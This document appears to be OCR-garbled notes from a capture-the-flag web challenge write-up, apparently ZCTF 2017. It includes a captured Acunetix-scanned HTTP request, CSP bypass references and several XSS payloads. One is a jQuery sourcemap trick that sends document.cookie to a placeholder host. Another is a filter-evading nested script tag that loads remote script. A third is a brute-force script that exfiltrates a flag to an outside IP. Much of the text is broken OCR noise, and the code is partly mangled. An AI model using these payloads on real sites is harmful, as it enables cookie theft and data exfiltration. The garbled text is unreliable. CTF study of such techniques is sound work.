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POST /a@f1b29db350fdac2adédc4cb92dbd2b/message.php HTTP/1.1
Pragma:
Cache-Control:

no-cache
no-cache
Referer:
Content-Length: 144

Content-Type: application/x-www-form-urlencoded
Acunetix-Aspect: enabled

Acunetix-Aspect-Password: 082119f75623eb7abd7bf357698ff66c
Acunetix-Aspect-Queries: filelist;aspectalerts

Host: 58.213.63.30:10006

Connection: Keep-alive
Accept-Encoding: gzip,deflate
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http://58.213.63.30:10006/a0f1b29db350fdac2ad6dc4cb92dbd2b/contact.php

User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 S

Accept: */*

Email=Emai@qq.com&ame=NameAAAA&Team=Teamaaaaa&textarea=Special%20Instruction/Comments.
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Content-Security-Policy:default-src 'self'; script-src 'self'

fE 8 2 N E R4

T8 T REEF . 55 Mindex.phpff)ik

.<script>window.loca

[\l EH 2] T csp

'unsafe-inline’

J= http://www.cnblogs.com/iamstudy/articles/bypass csp study.html


https://blog.csdn.net/dengzhasong7076
https://so.csdn.net/so/search/s.do?q=php&t=blog&o=vip&s=&l=&f=&viparticle=
https://so.csdn.net/so/search/s.do?q=javascript&t=blog&o=vip&s=&l=&f=&viparticle=
https://www.iviewui.com/?ref=c100001
http://www.cnblogs.com/iamstudy/articles/zctf_2017_web_writeup.html

Forb B3 v 5 45 . IZ A payload i g AH R .

jQuery sourcemap
document.write( <script>
//@ sourceMappingURL=http://xxxx/ +document.cookie+ <\/script>);
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<script>//@ sourceMappingURL=http://xxxx/</script>

218.29.102.101 - - [26/Feb/2017:13:39:52 +0800] "GET / HTTP/1.1" 200 2 "-" "zctf%7Be@42d9c03263521c86025a4b
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<script type="text/javascript">
love=function(){var c={version:{name:"Elastic Love",author:"quininer",version:"141229"},conf:{protocol:"{{=
love.req.post(
"POST",
"http://xx/checkProfile.php",
{image: "a",
nick: "<scscriptript src=//ip/x></scrscriptipt>",
age: "1",
address: "aaaa",
csrfToken: "undefined",
submit: "submit"
3
true
)s

</script>
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tab="0123456789abcdefghijklmnopqrstuvwxyz} "
str=""'
$.ajaxSettings.async=false
while(true){
for(i=0;i<tab.length;i++){
flag=false;
url = "http://xx/search.php?keywords=flag{'+str+tab[i];
x=$.get(url);
if(x.status==404) flag=true;
if(!flag) break;
}
str+=tab[i];
console.log(str);
if(tab[i]=="}") break;
}
location.href="//ip/"'+str
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